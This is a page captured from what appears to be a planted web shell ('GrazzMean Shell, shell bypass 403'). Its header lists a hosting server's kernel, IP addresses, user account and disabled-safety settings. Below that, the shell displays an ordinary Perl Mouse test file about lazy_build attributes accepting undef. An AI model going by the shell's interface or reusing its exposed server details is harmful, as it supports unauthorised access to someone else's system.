shell bypass 403

GrazzMean Shell

: /usr/share/doc/perl-Mouse/t/100_bugs/ [ drwxr-xr-x ]
Uname: Linux web3.us.cloudlogin.co 5.10.226-xeon-hst #2 SMP Fri Sep 13 12:28:44 UTC 2024 x86_64
Software: Apache
PHP version: 8.1.31 [ PHP INFO ] PHP os: Linux
Server Ip: 162.210.96.117
Your Ip: 3.149.245.181
User: edustar (269686) | Group: tty (888)
Safe Mode: OFF
Disable Function:
NONE

name : 013_lazybuild_required_undef.t
package Foo;
# This is automatically generated by author/import-moose-test.pl.
# DO NOT EDIT THIS FILE. ANY CHANGES WILL BE LOST!!!
use lib "t/lib";
use MooseCompat;
use Mouse;

## Problem:
## lazy_build sets required => 1
## required does not permit setting to undef

## Possible solutions:
#### remove required => 1
#### check the attr to see if it accepts Undef (Maybe[], | Undef)
#### or, make required accept undef and use a predicate test


has 'foo' => ( isa => 'Int | Undef', is => 'rw', lazy_build => 1 );
has 'bar' => ( isa => 'Int | Undef', is => 'rw' );

sub _build_foo { undef }

package main;
use Test::More;

ok ( !defined(Foo->new->bar), 'NonLazyBuild: Undef default' );
ok ( !defined(Foo->new->bar(undef)), 'NonLazyBuild: Undef explicit' );

ok ( !defined(Foo->new->foo), 'LazyBuild: Undef default/lazy_build' );

## This test fails at the time of creation.
ok ( !defined(Foo->new->foo(undef)), 'LazyBuild: Undef explicit' );

done_testing;
© 2025 GrazzMean